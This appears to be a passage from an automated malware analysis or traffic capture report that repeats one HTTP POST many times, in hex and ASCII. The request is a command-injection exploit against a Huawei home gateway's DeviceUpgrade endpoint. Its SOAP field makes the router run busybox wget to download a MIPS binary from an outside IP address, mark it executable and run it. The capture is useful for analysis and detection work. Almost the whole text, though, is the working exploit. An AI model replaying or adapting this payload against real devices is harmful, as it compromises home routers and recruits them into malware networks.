3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
